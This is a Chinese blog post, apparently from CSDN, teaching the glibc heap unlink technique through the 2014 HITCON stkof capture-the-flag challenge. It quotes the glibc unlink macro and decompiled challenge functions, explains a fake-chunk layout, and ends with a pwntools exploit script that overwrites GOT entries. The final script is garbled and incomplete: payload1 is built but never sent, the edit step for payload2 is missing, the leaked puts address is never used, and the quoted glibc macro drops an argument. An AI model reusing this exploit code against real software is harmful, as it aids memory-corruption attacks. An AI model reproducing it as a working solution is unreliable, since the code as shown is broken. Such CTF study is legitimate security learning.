#有几张图出自hollk师傅的文章，原文链接：https://blog.csdn.net/qq_41202237/article/details/108481889#

#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}



#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
_int_free(){
}
}


堆释放

#include<stdio.h>
void main(){
long *heap1 = malloc(0x80);
long *first_chunk = malloc(0x80);
long *heap2 = malloc(0x80);
long *second_chunk = malloc(0x80);
long *heap3 = malloc(0x80);
long *third_chunk = malloc(0x80);
long *heap4 = malloc(0x80);

free(first_chunk);
free(second_chunk);
free(third_chunk);

return 0;
}



例题：[2014 HITCON stkof]

主函数：

__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+Ch] [rbp-74h]
char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-8h]

alarm(0x78u);
while ( fgets(nptr, 10, stdin) )
{
v3 = atoi(nptr);
if ( v3 == 2 )
{
v5 = sub_4009E8();
goto LABEL_14;
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
v5 = sub_400B07();
goto LABEL_14;
}
if ( v3 == 4 )
{
v5 = sub_400BA9();
goto LABEL_14;
}
}
else if ( v3 == 1 )
{
v5 = sub_400936();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}


sub_4009E8()

__int64 sub_4009E8()
{
__int64 result; // rax
int i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+88h] [rbp-8h]

fgets(s, 16, stdin);
v2 = atol(s);
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !(&::s)[v2] )
return 0xFFFFFFFFLL;
fgets(s, 16, stdin);
n = atoll(s);
ptr = (&::s)[v2];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}
if ( n )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}


 for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )


**size_t fread(void ptr, size_t size, size_t nmemb, FILE stream)

ptr – 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针
size – 这是要读取的每个元素的大小，以字节为单位
nmemb – 这是元素的个数，每个元素的大小为 size 字节
stream – 这是指向 FILE 对象的指针，该 FILE 对象指定了一个输入流

sub_400B07()

__int64 sub_400B07()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]

fgets(s, 16, stdin);
v1 = atol(s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !(&::s)[v1] )
return 0xFFFFFFFFLL;
free((&::s)[v1]);
(&::s)[v1] = 0LL;
return 0LL;
}


sub_400936()

__int64 sub_400936()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

fgets(s, 16, stdin);
size = atoll(s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
(&::s)[++dword_602100] = v2;
printf("%d\n", (unsigned int)dword_602100);
return 0LL;
}


fake_chunk的设计：

pre_size:由于这里不需要对前面的chunk进行什么操作，所以这里的pre_size可以直接设置为0

size：这里计算一下这个fake_chunk 所需的最小长度：8+8+8+8+8+8 = 0x30，所以这里就该写入 0x30

fd 和 bk 这里先等一下

next_prev:这个只是为了绕过检查，说明这是一个空闲块，所以他就等于size就可以了

next size：不检查这个部分，所以随便填一个八位的数据就行了

在结构体数组中部署函数：

payload2 = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])


edit(2,len(payload2),payload2)


EXP：

from pwn import *

context.log_level = 'debug'

io = process("./stkof")
elf = ELF("./stkof")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

array = 0x602140

def create(size):
io.sendline(b"1")
io.sendline(str(size))
io.recvuntil("OK\n")
def delete(idx):
io.sendline(b'3')
io.sendline(str(idx))
#    io.recvuntil("OK\n")
def edit(idx,size,content):
io.sendline(b'2')
io.sendline(str(idx))
io.sendline(str(size))
io.send(content)
io.recvuntil("OK\n")

payload1 = p64(0) + p64(0x20) + p64(array-8) + p64(array) + p64(0x20)

create(0x100)
create(0x30)
create(0x80)

delete(3)

io.recvuntil("OK\n")

payload2 = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])

#gdb.attach(io)
#gdb.attach(io)

delete(1)

put_addr = io.recvuntil("OK\n",drop = True).ljust(8, b'\x00')

io.interactive()


• 8
点赞
• 4
收藏
觉得还不错? 一键收藏
• 4
评论
10-24 784
04-23 3143
10-01 3226
01-05 4626
09-26 1411
08-31 7285
04-06 490
08-03 251
07-06 2052
08-01 5191

“相关推荐”对你有帮助么？

• 非常没帮助
• 没帮助
• 一般
• 有帮助
• 非常有帮助

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。